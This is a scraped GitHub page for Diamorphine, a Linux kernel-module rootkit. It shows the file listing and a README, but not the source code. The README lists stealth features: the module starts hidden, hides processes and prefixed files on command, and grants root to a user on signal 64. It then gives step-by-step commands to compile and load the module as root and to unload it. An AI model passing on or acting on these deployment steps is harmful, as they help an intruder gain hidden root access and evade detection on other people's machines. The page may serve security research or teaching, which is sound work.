Skip to content
LKM rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64)
C Makefile
Branch: master
Clone or download

Latest commit

Victor Ramos Mello
Victor Ramos Mello Merge pull request #14 from jctello/master
Fixed two typos and a broken link
Latest commit a673d2e Oct 23, 2019

Files

Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
LICENSE.txt license... Nov 27, 2014
Makefile pushing the code Nov 6, 2013
README.md Fixed a few typos Oct 18, 2019
diamorphine.c more compatibity, working in kali with kernel 4.14 Mar 9, 2018
diamorphine.h remove nonused constants Mar 9, 2018

README.md

Diamorphine

Diamorphine is a LKM rootkit for Linux Kernels 2.6.x/3.x/4.x

Features

  • When loaded, the module starts invisible;

  • Hide/unhide any process by sending a signal 31;

  • Sending a signal 63(to any pid) makes the module become (in)visible;

  • Sending a signal 64(to any pid) makes the given user become root;

  • Files or directories starting with the MAGIC_PREFIX become invisible;

  • Source: https://github.com/m0nad/Diamorphine

Install

Verify if the kernel is 2.6.x/3.x/4.x

uname -r

Clone the repository

git clone https://github.com/m0nad/Diamorphine

Enter the folder

cd Diamorphine

Compile

make

Load the module(as root)

insmod diamorphine.ko

Uninstall

The module starts invisible, to remove you need to make it visible

kill -63 0

Then remove the module(as root)

rmmod diamorphine

References

Wikipedia Rootkit https://en.wikipedia.org/wiki/Rootkit

Linux Device Drivers http://lwn.net/Kernel/LDD3/

LKM HACKING https://www.thc.org/papers/LKM_HACKING.html

Memset's blog http://memset.wordpress.com/

Linux on-the-fly kernel patching without LKM http://phrack.org/issues/58/7.html

WRITING A SIMPLE ROOTKIT FOR LINUX https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt

Linux Cross Reference http://lxr.free-electrons.com/

You can’t perform that action at this time.